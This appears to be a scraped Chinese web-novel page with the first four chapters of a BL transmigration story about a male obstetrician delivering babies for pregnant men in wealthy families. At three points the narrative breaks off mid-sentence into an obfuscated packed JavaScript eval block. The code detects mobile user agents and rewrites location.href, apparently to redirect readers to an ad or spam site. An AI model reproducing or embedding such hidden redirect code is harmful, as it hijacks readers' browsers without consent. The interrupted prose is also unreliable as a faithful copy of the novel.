《霸总生子文里的御用男医生(穿书)》 1. 第 1 章 男人是可以生孩子的。 ——这是一个假命题。 首先男性并没有子.宫这个重要器官,无法孕育胎儿。而且,孕育一个新生命的过程非常复杂。 内分泌调节、精.子生成及输送等环节,均与男性的生理结构和功能密切相关。 ...... 无影灯投下冷白且聚焦的光束。 在麻醉师认真确认硬膜外阻滞生效后,郁瑟使用碘伏棉球,沿者预定切口线从内到外进行环形消毒。 随后,护士将手术巾逐层铺开,在下腹部露出约15厘米×20厘米的手术区域。 郁瑟采用执笔式持刀,精准分离皮下脂肪层,止血钳则快速敏捷地夹闭微小出血点。 一助王齐配合度极高地牵拉分离肌纤维,将淡黄色的腹膜暴露。 “进入腹腔。” 光滑的子宫下段肌壁在无影灯的照射下,泛出特有柔和光泽。 郁瑟敏捷使用两指探入宫腔,撑开切口的瞬间,羊水裹着胎脂被吸引器及时吸除。 “我已经看见胎头了。”助产护士麻利地包裹胎头,小心翼翼做轻柔牵引。 胎儿从子.宫中顺利滑出,经过了长达七个月的孕育已经比较成熟。由于是早产儿,孩子的哭声并不响亮,反而显得有些委屈,助产护士做了简单清理之后,送入保温箱观察。 器械护士清点纱布的报数声与麻醉监护仪的规律滴答声此起彼伏。 手术台就是阵地,又一场生命与死亡并存的战斗结束了。 郁瑟的缝合技术在业内以快速高效著称,展现出从业者罕见的果断。 或者说是少有的心狠手辣。 他粗略看了一眼躺在手术台间面色发黄的产夫,直到产夫肚子里的孩子呱呱坠地。 郁瑟才有了一种古怪的踏实感。 ——原来我真的穿越了啊。 郁瑟原本是一名甲级医院的妇产科男医生,在女性云集的科室中,除了高强度的手术任务外,还需解决生产过程中的各种难题,并应对病人和家属的不信任与质疑。 一天内连续进行17台手术后,最终不幸猝死。 享年28岁。 然后,他重生穿越进了一本不知道叫什么名字的狗血耽美小说世界。 之所以没有记住小说的名字,是因为郁瑟每天不是在做手术,就是在撰写研究报告,对任何娱乐活动都缺乏兴趣,包括刷抖音、聚会等,这些活动无法引起他的兴奋感。 之所以知道这本小说属于耽美分类,剧情中大量充斥着男欢男爱的刺激桥段。 是因为他隐约感觉自己是个天生的GAY,但是也没有时间去具体证明一下。 理由继续如上。 ——他晚上忙于观看产科医学纪录片,或者写医学论文。 总体来说,郁瑟并不认为自己能够拥有二次生命,是因为他凭借高超的技艺,帮助上百个婴儿得以存活,并来到这个世界。 而是为了实地攻克人类历史上最令人震惊的事件——男性生育。 郁瑟再次看了眼刚生下健康婴儿的男生。 ——嗯,男的,23岁,比自己还年轻几岁,子宫已经发育成熟的特殊个体。 这个医学奇迹般的存在,此刻正安静地躺在病床上,脸色苍白到完全没有任何一丝初为人父的喜悦。 ——也没有问一声孩子的情况究竟如何。 只是呆怔怔地躺着,像失去知觉的木偶人。 郁瑟截然不同。 他的眼底闪烁着前所未有的光芒,郁瑟深知自己正站在医学史的一个转折点上。 这个年轻的孕夫,不仅打破了自然界的常规,更可能成为人类生育史上重要里程碑之一。 郁瑟心中暗自思量,这样的体质,这样的奇迹,究竟是如何产生的?是基因突变?还是某种未知的环境因素所致? 他决心要揭开男性生子的秘密,为人类生育科学开辟一条全新的道路。 直到助产护士走来跟他提了一嘴,“郁医生,手术室外面.......” 啊。 如果不提外面倒还好说。 郁瑟那一点刚燃起的雄心壮志瞬间被扑灭。 他朝护士交待,先将病人从手术室的侧门转移,保温箱里的婴儿也是。 然后带着自己的一助王齐,急匆匆朝手术室门外走去。 电动气密门缓慢打开,露出走廊里的奇异场景。 一般现实世界里是见不到数目众多的私人保镖的,而在狗血小说里,私人保镖属于豪门最基础的标配。 十几个人高马壮的私人保镖中央,站着一位风姿绰约的中年女性。她面容精致,宛如雕刻般完美无瑕,眉宇间透露出一股不可忽视的威严,身着一袭华丽的丝绸长裙,裙摆上镶嵌着璀璨的珠宝,在灯光下熠熠生辉。 无论是她的妆容还是配饰,都无不彰显出其非凡的身份与地位。 很显然是从某种高级宴会中,临场跑出来的模样。 贵妇人看见主刀医生出来,笔直走过来问,“生了吗?男孩女孩?” 郁瑟:“.......” 如此直白的询问咱也不是第一次见啊。 贵妇人又说,“也对,今天是我继子的订婚宴,白梵这个小贱人知道了闹着要离家出走,都是他自己从楼梯间摔下去的,我看他完全是故意的,大概是想搞点动静出来,好破坏云辰的订婚宴。” 郁瑟听见她最后还小声嘀咕一句,“凭他也配做陆家的少奶奶,一个区区保姆的儿子,生下的也是无名无份的野种。” 呃...... 人们常说手术室内外是一道分水岭,见证了骨肉分离、生死未卜、亲情破碎和人生百味的悲凉。 狗血小说肯定是来源于生活,但某些情节的狗血必须高于生活。 郁瑟穿书时脑子里隐约闪过些剧情,知道对方的龌龊心思,摘掉手术口罩,分外沉痛道,“抱歉,陆夫人。” “孩子......没保住。” 被叫做陆夫人的一脸错愕,但很快又恢复了正常,反正一个卑贱的人利用卑贱的手段,怀上卑贱的孩子。 这件事假若传出去,完全能成为陆家的家族污点。 何况陆云辰已经订婚了,白梵生下的孩子会立刻送去福利院,日后再找借口假装收养回来。 而白梵这边,恐怕还得需要一笔钱打发干净才行。 本来想骗白梵说孩子死了,叫他趁早歇心的,现在想想也是头疼,倒不如真的死了干净。 陆夫人道,“郁医生,你这边......” 哦。 郁瑟只是每天喜欢关起房门搞研究,但他实际上已经做了四年的医生,跟上千个家庭打过交道,有一定的社会交际能力。 “死亡证明什么的完全不需要陆夫人您操心。” 反正整间私人医院都是郁瑟的。 虽然只有两层楼,1000多平,两名主治大夫,六位医护人员。 他这比起一般的穿书者,实在是幸运得多,一睁眼就顺利继承一座小型私人产科医院。 陆夫人将右手一伸,一个保镖恭敬地递上支票夹,她在上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099318|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随意写下一串数字,低声叮嘱说,“今天这件事.......” 啊,我懂。 郁瑟道,“我知道怎么说。” “不,你不知道。”陆夫人将支票页撕下来,递给郁瑟,眼神里闪过一片残忍的血色,“我的意思是,假如有人过来找,能不能做两张死亡证明出来?” 让白梵也“死掉”,反正他孩子没了,再没有任何筹码了。 郁瑟:我还是小瞧了这个世界的疯狂。 陆夫人道,“我得赶紧返回订婚仪式现场,剩下的交给你处理了。” 郁瑟和王齐立正以待,恭送着对方快速离开。 王齐辣评,“最毒妇人心啊,啧啧啧。” “行了,别感慨了,赶紧先去看看孩子的情况。”郁瑟冷静地吩咐道。 王齐是慈康私人产科医院唯二的主治医生之一,也是郁瑟的徒弟兼一助。 郁瑟在现实世界死于过度劳累,所以进入小说世界后,也想明白了,人活二世,还是尽量选择在已有经验的基础上,活得轻松一点。 所以他和他的医院只针对接手像陆夫人这样的豪门家庭病例。 而且只接手男性产夫。 目前已经接手了两例。 王齐看了眼支票上的数字,啧啧称了一句,“二百万万啊,师傅,你的谎言真值钱。” “你懂什么!?”郁瑟将支票丢给他,“我这是救人一命胜造七级浮屠。” 其实,郁瑟也并不是故意撒谎说孩子没了。 且不说小说剧情如何设置,你瞧这陆夫人像会好好对待孩子吗? 而且,白梵的状态更加令人担忧。 他对王齐交待,“白先生要时刻紧盯着点,最好24小时有人陪护,还有叫后厨给熬一锅浓浓的萝卜汤,给他产后通气喝。” 王齐点了点头,眼中闪过一丝疑惑,“师傅,这萝卜汤,能行吗?他看起来情况不太啊。” 郁瑟表扬道,“不愧是我的爱徒,观察能力直线提升,赶紧去办吧,我祖传的秘方还能有错?” 王齐不再多言,转身去安排了。 郁瑟站在病房外,透过玻璃窗看着里面那个脸色苍白却仍然紧紧闭着眼,始终不愿看孩子的男人,叹了口气。 他知道自己撒的这个谎,可能会给这个男人带来一些困扰,但这也是没办法的事。 总不能眼睁睁看着他因为恋爱脑的崩塌,就抛下这么可爱的孩子吧? 萝卜汤熬好了,王齐亲自端了过来,小心翼翼地喂给白梵喝。 白梵起初有些抗拒,但在郁瑟和王齐的连番劝说下,还是勉强喝了几口。 没想到,这萝卜汤还真有些效果,喝下去没多久,白梵就觉得肚子里咕噜咕噜地响了起来,一股气在身体里乱窜。 他终于睁开了眼,看向一旁的两位医生,眼神中闪动着晦暗的光,始终未曾开口。 郁瑟打开手机,将拍到的小婴儿躺在保温箱里的照片展示给白梵看,言道,“孩子虽然七个多月就来到这个残酷的世界了,可是他很坚强,现在只要给他一口吃的,他就能健健康康地成长,成为一个活泼的小天使,也成为这个世界上最爱你的人。” “你看他,长得多么像你啊,这眼睛,眉毛,鼻子和嘴巴,完全跟白先生是一个模子里印出来的。” “你看,是给他喝奶粉,还是喝你的父乳呢?” 郁瑟一步步耐心询问。 “再或者,假如你不想要这个孩子的话,我这边也有几对登记想要领养的夫妻一直在排队,都是有钱有权的体面人,不会亏待孩子。” 2. 第 2 章 ...... “不,这是我一个人的孩子,我不要把他送给任何人!!我要自己养活他!!” 一道虚弱的呐喊声暴起,从半死不活的男生嘴里,最终倾吐出了所有的坚决与执拗。 他的声音虽然微弱,却带着不容置疑的力量,仿佛是用尽全身力气在捍卫自己作为父亲的权利与责任。 郁瑟和王齐相视一笑,他们从未在这个陌生男生的脸上,见过如此执着的眼神。 “你真的想好了吗?一个人带孩子,会很辛苦的。”郁瑟试探性地问。 其实,这仅仅是他一步步引导对方的必然结果。 男生没有回答,只是紧紧地闭上了眼睛,泪水顺着眼角滑落,滴落在洁白的床单上,晕开一片湿润。 过了许久,他才缓缓睁开眼,眼中闪烁着前所未有的坚定:“无论多辛苦,我都会把他抚养成人,他是我的儿子,我在这个世界上唯一的亲人。” 这一刻,郁瑟和王齐都被他的决心所打动,他们明白,这个看似脆弱的男生,内心深处已经拥有了比爱情更加坚定了力量。 郁瑟在自己的日记本上用文字记录: 【无论是男人或者女人,在更弱小的生命面前都会展现出无比的力量,这份力量源自于血脉相连的亲情,源自于对未来无尽的期许与责任。他们中的一些人,愿意为了孩子的笑容,付出所有的努力与艰辛。】 其实郁瑟的私人医院背后只有一位金主,也可以说,慈康私人产科医院之所以会存在,都是因为金主的小妻子即将要面临生产。 而这位小妻子,也是一个男人。 郁瑟将白梵交给特护照料,叮嘱后厨师傅最近给加强一下营养,自己则马不停蹄地赶往金主家出夜诊。 这个小说世界以华国为原型,首都叫做龙城,是一座权利高度集中与经济异常发达的城市。 在整座城市中密布各种各样的势力范围,暗中交织各种各样的爱恨情仇。 用一句话来形容——整座龙城内充斥着各种光怪陆离的豪门秘密与不为人知的权钱涌动。 简称狗血大杂烩。 郁瑟驱车前往龙城最著名的萧家,路上随手打开车载收音机。 此刻,龙城陆家的掌权人陆云辰与林家千金的盛大订婚宴正在进行中,繁华街道上的每个角落,巨大的电子显示屏纷纷滚动展示着这场订婚现场的盛况。 包括郁瑟的车载广播。 “狗屎无情,踩过即忘。”郁瑟低声说给自己听。 金主家的管家出门迎接了郁瑟的到来。 即使是第N次来到萧宅,郁瑟不禁咋舌,眼前的奢华景象永远超出了他的想象。 别墅内的装饰金碧辉煌,每一处细节都彰显着主人的财富与品味。巨大的水晶吊灯从天花板垂下,散发出柔和而明亮的光芒;墙壁悬挂名贵的油画,每一幅都透露着非凡的艺术价值。 郁瑟跟在管家身后,穿过长长的走廊,每一步都仿佛踏在了云端之上。 因为谨防小孕夫摔倒,整幢建筑的地面铺满厚达十厘米的羊绒地毯。 郁瑟努力不被羊毛绊倒,等走到尽头,卧室房门一闪,从里面钻出来了穿着睡衣的年轻男性。 都说男人千千万,生活废一半,大多数属于靠自己的平庸之辈,只有极少数的男人能被捧在手心里娇养,仿佛精心栽培后开出的新艳夺目的花朵。 例如白梵。 例如金主萧凛捧在手心疼爱如珍宝的小娇妻。 ...... 当一个男人能被称之为小娇妻,总让郁瑟感到发自内心的恶寒,并且止不住地联想——这个国家完蛋了。 郁瑟长相并非俊美,千万不要被他那充满遐想的名字带跑偏了。他的五官虽然不算出众,但有一种独特的清淡气质,让人难以忽视。 身高181cm的郁瑟倒是有着一副极好的身材,不肥不瘦,不壮不柴,腰腿比例堪称完美,肌肉线条流畅而有力,仿佛每一寸肌肤都经过精心雕琢。 还有他的皮肤白皙,透着健康的光泽,显得格外有生命活力。 换句话说,安静时宛若一株幽淡的兰草,微笑时仿佛春日洒落人间。 他的整体气质便是如此,恰到好处,让人心生欢喜,却又不至于迷失其中。 小娇夫像是在跟萧凛赌气,用手捏成小拳头捶打着肚皮,边跑边抱怨。 “都怪你,都怪你管不住自己的几把,我不要开刀,生孩子开刀好痛,我会疼得死掉啦!” 一边耍任性,一边扑进了郁瑟的怀里。 “瑟医生,我不想生了,你有没有好办法,帮我把肚子推平?” 郁瑟:我姓郁啊。 郁瑟顺势将双手举高,一点也不敢乱碰触到怀中娇软的小孕夫。 每逢这家伙做产检,必须由萧凛亲自监督下完成。 豪门大佬莫名其妙滋生的飞醋你承受不起。 何况,据说萧凛被称为亚洲醋王来着。 萧凛道,“岩岩,现在已经不是任性的时候,你马上就要临产了,来,不要纠缠医生,听话一点到我怀里。” 知道的是夫夫情趣,不知道的还以为是照顾未成年儿子呢。 郁瑟被小娇夫紧紧抱着,这并非不可接受,毕竟对方确实显得娇弱。更何况,预产期仅剩一个月,产前抑郁也是需要考虑的因素。 郁瑟道,“其实萧小夫人会害怕也是情理之中,毕竟第一次当爸爸,无论是谁都会产生焦虑心情。” 萧凛道,“那你的意思是,你比我有办法帮助他排解困难?” 呃...... 果真是亚洲醋王。 “其实针对萧小夫人的情况,完全可以使用水中分娩那个方案。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099319|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁瑟小心翼翼地回答,尽量不让自己的话语听起来像是在挑战萧凛的权威。 “居然还有这种方案?”小娇夫眨巴着毛乎乎的大眼睛,信任感十足得盯着郁瑟。 一般人看见医生只会觉得讨厌,可一但生病了,或者有求于医生的时候,就会觉得医生无比可亲,值得信赖。 “是的,”郁瑟很真诚地描述,“水中分娩完全不需要开刀,而且水的浮力帮助分散身体压力,尤其缓解腰背部的宫缩疼痛。” 听起来真是不错。 郁瑟继续道,“不过也有一点小问题。”他用眼神向萧凛先打个询问报告。 萧凛勉强同意其他男人贴着自己的老婆耳朵讲话。 微点了下头。 郁瑟获得准许,附在小娇夫耳侧嘀咕了几句。 小娇夫惊得花容失色,又扑过去抱住萧凛的腰身,奶猫贴贴道,“老公,我还是决定开刀生宝宝吧。” 萧凛露出意味深长的眼神:难道你真得比我,还会哄我老婆? 天啦噜~ 郁瑟快速撇清关系,“还是小夫人爱极了萧总的关系。” 其实他也没说什么,男人嘛,依照他目前最肤浅的研究结果,怀孕之后必须要接受破腹产,假如不借助外力作用。 那只能用屁.眼生了,生松了怎么办?你老公就得喜新厌旧了。 …… 委婉,郁瑟说得肯定比这要委婉。 萧凛先将小娇夫送回卧房,哄着睡熟,才走下楼去见郁瑟。 郁瑟抓紧时间打开笔电,又写了2000字的医疗诊断记录。 萧凛此刻再没有任何温柔的笑意,而是换成社交圈统一微笑,问着,“当初选择郁医生来做岩岩主刀医生,确实是明智之举,郁医生不仅医术精湛,更是精通如何安抚岩岩。” 郁瑟笑了笑,“其实这只是一种互相间的医患信任,小夫人临产前的一切,我会打点得更加仔细。” 醉翁之意不在酒啊。 小夫人再能生,生两个总该到头了吧? 郁瑟是希望多留下好印象,医院的生意才能源源不断,他的研究才有盼头。 萧凛果然聪明,沿着郁瑟的话往下说,“术业有专攻,郁医生专攻产科,可惜只能用到一时,若是家庭医生就好了,日后还有很多需要家庭医生的地方。” 不过。 “你那间医院有我的股份,虽然也没多少钱,不过也不能白撂着,以后圈子里还有谁家要生孩子的,不用我说,岩岩也会去帮你联系的。” “郁医生自己也可以想想办法,看一下医院除了接生孩子,还能开拓什么业务。” 郁瑟抓紧拿出早做好的方案,递给金主看道,“其实主要是为了小夫人考虑,生完孩子之后还应该有一个盆腔修复的疗程,您看这套设备,我对比了几家,是不是可以早点拿下?” 3. 第 3 章 有钱人办事的效率就是迅速,金主为了老婆产后快速恢复身材,斥巨资给医院增添了两台高级产后修复仪。 虽说男人的盆腔窄深,形似漏斗,女人盆腔宽浅,形似圆桶。怀孕对于人体造成的影响可大可小,产后必须要认真保养。 购买产后修复仪的厂家还配备专业讲师,郁瑟叫医院的护士都去学一下新技术,好歹金主夫人已经预订要在医院生产,产后的月子也在医院里做。 徒弟王齐禁不住打趣说,“我们医院只接收男孕夫,目前只有两名客户,一个还白吃白住不要钱,剩下的这个生完很快就走了,咱这是逮住最后一根救命稻草,使劲薅稻草毛啊。” 郁瑟被他气笑了,“谁说咱们的病人只有两个,我跟你讲,只有咱们把这第一单生意做扎实了,以后源源不断的都是给来你送钱的。” 王齐嘿嘿嘿笑了,“怎么能说是给我送钱呢?要送也是给您送啊,我的亲亲师傅。”言罢,勤快地给郁瑟捏肩。 其实郁瑟完全没跟爱徒提最重要的一件事。 那就是...... 白梵其实是他接手的第一个男性孕夫。 于此之前,他在现实生活中一直是给女性怀孕者接生的,也是因缘巧合,他穿越过来接手了这家私人医院,给萧凛家的小娇夫也仅仅只是做一些基础性的身体检查。 拿怀孕的男人开刀,真的是史无前例的第一次! 那天情况危急,白梵从楼梯间摔倒下来,碰到了孕肚,假如不能立即开刀的话,搞不好此刻已经一尸两命了。 男性怀孕者的孕腔类似于女性的子宫,但附着于肠道外侧,郁瑟在开刀取出胎儿的时候便立刻意识到其中的凶险程度,不亚于做一场三级手术。 手中的刀子若稍有不慎,轻微的偏差都可能导致肠管受伤。 索性白梵的身体情况不错,能看出他在跟了陆云辰之前,是吃过不少苦头的,进入陆家之后应该也没闲着,时常劳动做家务,所以身体比较皮实,不是小娇夫那种每天躺在床上撒娇的类型。 ——全程依靠他精湛的技术和积累的经验在搏命啊。 尤其看到白梵的遭遇——将感情和未来寄托在错误的人身上,还不受豪门待见,对方只想要孩子,根本不打算留他,甚至意图去父留子。 综合各种因素,郁瑟也不准备跟白梵收取任何费用。 他朝王齐道,“之前不是留下来200万吗?” 王齐立刻警觉,“那是陆夫人给的遮口费,可不是叫你拿来普度众生的!” 也不怪对方小气,毕竟私人医院的开销巨大,吃饭的嘴又多,如果混到发不起工资、交不起电费的程度可就好笑了。 郁瑟笑他一个小屁孩,少操心大人的事情,转身去看白梵的情况。 剖腹产手术有很多缺点,但也有些优势。 他去看病房里唯一一个病人时,白梵正采用艰难的姿势,抱着怀里的孩子喂奶。 男人的奶水也是洁白而富有营养的! 郁瑟不知该不该选择躲避,用不礼貌的话来讲,男人和男人有什么区别?! 但在狗血小说里区别大了。 郁瑟最终决定还是先退出去,结果被白梵听见了动静,立刻一张秀气的脸庞裹满粉红,将病号服往孩子的嘴巴前遮挡了一下,害羞地说道。 “郁医生。” 如果被喊了名字还往外走,那可真是不礼貌至极。 郁瑟停下脚步返回来,尴尬地立在原地,摸了摸鼻子,道,“嗯,来看看你的情况。” 白梵似乎更加不好意思,眼睛一直往不病号服停蠕动的位置看,偏偏不敢看郁瑟,“我挺好的,就是,就是……” 见他吞吞吐吐的,郁瑟好奇道,“就是什么?” 白梵小声道,“就是孩子好像不太够吃。” 郁瑟说,“男性的乳腺确实不如女性发达。” 其实男性的乳腺仅仅是一种象征性的存在,谁知道穿进狗血小说里后,这两个象征性的玩意儿居然能通乳了。 咳咳咳。 郁瑟表示,“不必担心,我们慈康针对男性乳汁分泌不足的问题,提供国外进口的优质奶粉作为补充。” 白梵的脸之前是绯红的,此刻却红得异常不自然,“其实......其实.....我没钱......” 这个话题之前没跟白梵谈,是刀口尚未痊愈,恐怕谈崩线了。 现在可以谈,是因为白梵身体的各项指标,都显示出他的优秀复原力。 郁瑟愣了一下,随即反应过来白梵所指何事。他轻咳一声,尽量让自己的语气听起来自然,“这个你不必担心,作为你的主治医生,我会帮你申请医院的贫困救助基金,尽量减轻你的经济负担。” 白梵闻言,眼中闪过一丝惊讶,随即又涌上一股感激之情。他低声说道,“郁医生,真是太谢谢你了。我,我还以为……” 郁瑟拍了拍他的肩膀,安慰道,“别担心,我们会一起想办法的。你现在最重要的是好好休息,把身体养好,孩子还需要你呢。” 白梵点了点头,眼眶微微泛红。他深知自己这次的遭遇有多么幸运,能遇到郁瑟这样负责任的医生,是他和孩子最大的福气。 郁瑟还想提一嘴那个向陆家撒谎的事情。 小宝宝已经吃饱了,白梵将他抱起来,温柔地拍打着后背,以保证小宝宝食道短会呛奶。 尽管这个孩子还小得像一个包子,但他的五官已经开始在包子般的脸庞上显现出来。 是个标准的帅哥。 郁瑟问,“名字起好了吗?” 白梵说,“想好了,跟我姓白,叫白慈康。” 郁瑟大为惊讶,“怎么跟我这小破医院叫一个名儿?” 白梵的用意很显而易见,多数是为了报答他的救命之恩。 郁瑟算是谢过了,不过名字是人贯穿一生的符号,起到至关重要的作用,例如他这名字叫得就格外不好。 原本郁爸和郁妈是希望他“郁郁葱葱、生机勃勃”,结果上学的几年,但凡处过的同学无一不拿他这个名字取乐。 郁瑟郁瑟,反过来就是羞羞的色.欲。 天啦噜,他上一辈子连男人的手都没抓过呢。 所以,白梵这个决定确实让他有些哭笑不得,毕竟谁也不想自己的孩子和一家医院同名。但转念一想,这也算是白梵对他的一种信任和感激吧,郁瑟心底浮出一片暖融融情感。 郁瑟建议, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099320|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还是给宝宝起一个更大气的名字,我这家小破医院的发展也就这样了,但是咱们的小宝宝可是未来可期呢。” 最后还拿出手机起名器,给孩子挑了一个更好的。 白遇安,随遇而安。 眼见小宝宝转眼睡了,产夫也需要更多的休息。 郁瑟不便叨扰,起身走出医院正门,他需要再认真思考一下金主老婆的生产方案,确保万无一失。 结果医院玻璃门前闪过一道人影,那人影黑乎乎的一团,穿得挺厚实的,然而一看见医院里有人出来的瞬间,立刻掉头就跑。 恐怕不是贼吧? 郁瑟跟着追了出去,人已经跑出一段距离,尤其从远处看去,宛若一只步履蹒跚的大狗熊,慌慌张张的。 郁瑟用手敲了敲大门旁边的保安室,冲小窗户口喊道,“在忙什么呢?” 这家医院每日门可罗雀,设立安保室主要是为了确保医疗器械的安全无虞,工作人员每天清闲得几乎无事可做。 保安一看居然是院长,立刻关闭手机中的五子棋,站起身心虚说,“我就是无聊随便玩玩,院长您有什么吩咐?” 郁瑟没心思和他计较这些,简单说明了自己刚才见到的可疑人影,要求保安调出监控录像,看看那到底是什么人。 “万一你刚才把我的大财神给放走了呢?”郁瑟瞧小保安紧张得直冒汗,开玩笑说道。 但小保安一听,脸色更白了,双手微微颤抖,连忙点头哈腰地答应,迅速跑到监控室调取录像。 监控画面中,那团黑乎乎的人影显得格外醒目,他鬼鬼祟祟地在医院门口徘徊,时不时向里张望,似乎在寻找着什么机会。 郁瑟叫保安这几天务必注意一点,医院目前最值钱的就是医疗器械了。 保安刚准备应声,门口传来一阵阵肃杀的脚步声,转眼走进来五六个身穿统一黑西装的私人保镖。 郁瑟原本是很欢迎这些黑衣人的,之前说过,私人保镖都是豪门的基本标配,看见这些人说明有需求找上门来了。 假如他没有对陆夫人撒那个谎言的话。 一个保镖沉声道,“谁是郁瑟?!” 郁瑟若不是一个很有责任心的人,必定手指身边的保镖说,他就是郁瑟。 没办法,白大褂穿着呢。 郁瑟说,“我......” 他这个我字还没说出口,人已经被走来的两名保镖架住,直往门口拖着,“我家少爷点名要你去一趟。” 你家少爷?!! 郁瑟对追来的小保安丢了个眼神,故作镇定问,“你家少爷贵姓?” 是不是姓陆? 保镖言道,“我家少爷姓枫。” 郁瑟赶紧给小保安露出安心的微笑,“没事儿,我去去就回来。” 说是安心,也只是安抚其他人的托词。 郁瑟内心很快被更加不安定的情绪左右起来,他这是第一次穿进狗血小说,完全不懂狗血小说里基本会有什么类型的剧情,或者什么类型的人物。 还有,就是这边的警察有没有现实世界的厉害,万一被什么莫名其妙的角色抓住,做什么不可描述的事情。 这边偷偷打110,能保命吗? 4. 第 4 章 龙城在郁瑟心里属于一个尚待开发的未知世界,目前能接触到的豪门已经有两户 萧凛的萧家,和陆云辰的陆家。 现在又来了一个枫家。 郁瑟虽然从不怎么看看网络狗血小说,但不代表从不看其他体裁的小说,例如早一批的金庸、古龙、黄易,后一批的诺贝尔文学奖作品集,掺杂一部分世界名著等。 学医是一件非常辛苦的事情,需要投入大量的时间和精力去钻研医学知识,背诵各种繁杂的理论和病例。 假如忙里偷闲的时候,他还是会钻空子找一点其他书来缓解学习的压力。 现在所处的书中世界反倒给了郁瑟一点新奇感,特别像是身处于武林世界,几大家族明争暗斗,既有表面上的客气往来,也有暗地里的较劲和比拼。 总体来讲,郁瑟对于这个所谓的枫家还是充满好奇的。 结果不负所望。 豪门最能体现出家族资产与地位的,第一是社会影响力,第二便是家族所掌握的财富和资源。枫家显然在这两方面都做得极为出色。 枫家的本宅建立风水极佳的青山山侧,这可不是普通的有钱能办到的事情,整座别墅群依山傍水,错落有致,既有古典的雅致,又不失现代的奢华。别墅群内绿树成荫,花香四溢,仿佛是一个世外桃源般的存在。 郁瑟之前已经被金主家的豪华程度深深震撼,如今来到枫家的本宅,愈发体会到资本世界的罪恶。 同时也在冥冥中感知,跟这家人打交道要更加小心谨慎,资历越雄厚的家族越高不可测。 请他来的保镖将车停靠在建筑附近的花圃前,立即有衣着考究的管家前来迎接。 管家先是礼节性地报上名讳姓金,当他看见郁瑟白袍贴近胸口的地方,印刷着“慈康男性产科私人医院”的名牌,整个人都不好了。 “先生能否将身上的白袍先交由我,暂时保管。” 这两句话之间讲得十分突然,假如不是管家都具备良好的专业素养,恐怕此刻就要动手帮郁瑟扒衣服了。 郁瑟里面穿着清洁整齐的衬衫,所以没什么所谓,脱掉白袍递给金管家。 金管家转手将白袍往后一塞,才朝后面两个保镖狠瞪了一眼,“你们回来的真是恰到好处,家主来了。” 这两句话的逻辑也异常不通顺,然而两位保镖瞬间变得面如土色,原本高大威猛的身体禁不住发颤,仿佛两支即将燃尽的蜡烛,在风中摇摇欲坠。 他们的眼神里充满了真切的恐惧与不安,不停张望花圃斜对面的玻璃房间。 仿佛刚才提到的所谓家主,此刻正像禁锢在玻璃房中的洪水猛兽,朝着自己露出血盆大口,准备择人而噬。 空气中瞬间弥漫起一股压抑到令人窒息的恐怖氛围,连呼吸都变得异常艰难。 郁瑟的心中不禁升起一股莫名的寒意,目光也不由自主地投向了那座看似平静却暗藏危机的玻璃房间。 他试图从那半掩的窗帘缝隙中窥探些什么,但除了模糊的光影和偶尔闪动的阴影外,一无所获。 金管家原本是打算带着郁瑟绕道而行的。 可是不行。 家主正坐在那座玻璃房内,从庄园外开回来的车辆,以及下车的人影,恐怕早已经被对方纳入眼底,若是不过去打个招呼,恐怕招致怀疑。 现在只希望,家主没有看见郁瑟身上穿着的白袍。 金管家前面领路,小声说,“先生能否帮忙撒个小谎,事后一定重谢。” 郁瑟说,“什么谎?” 金管家道,“一会儿您务必伪装成新雇佣的普通家庭医生,其余的我说什么,您都应和就好。” 话说着,单手轻轻拉开玻璃房的门,一股更为浓烈的压抑感扑面而来,仿佛整个空间都被无形的重力所笼罩。 金管家率先跨步而入,姿态谦卑而谨慎,每一步都似乎在衡量着与家主的距离。 郁瑟紧随其后,心中暗自盘算着即将上演的“角色扮演”,手心不自觉地渗出了细密的汗珠。 整座玻璃房内反倒与外观截然不同,外侧的玻璃质材是为了视觉效果上的通透,而内部则采用了隔音与隔热的特殊材料,营造出一种与外界隔绝的静谧氛围。 柔和的灯光洒在精致的家具上,敞亮且富有奢华美。 所谓的家主坐在一张宽大的沙发上,面容平静如水,眼神却锐利如鹰,仿佛能洞察人心。 然后,郁瑟不小心跟对方的目光对接了。 心脏也随之骤然停滞。 真是好一双碧玉琉璃色的眼眸,吸纳了整座青山间的全部绿意盎然,绿得浓郁,绿得剔透,绿得让人一眼望去便不由自主地耽溺其中。 外国人? 并不是。 而是一个真真正正的混血美人儿,恰到好处地将东西方的优点融合一身,既有欧洲人特有的立体面容轮廓,又有东方人独特的温润肌肤。五官精致而立体,鼻梁挺拔而不失柔和。唇形优美且微微上扬,宛若油画中走出的翩翩美少年。 嗯...... 不算是少年的年纪了,但因为太过美貌,从而使人担心面前这人永远也不会衰老。 ——道林格雷的画像。 啊啊啊啊~ 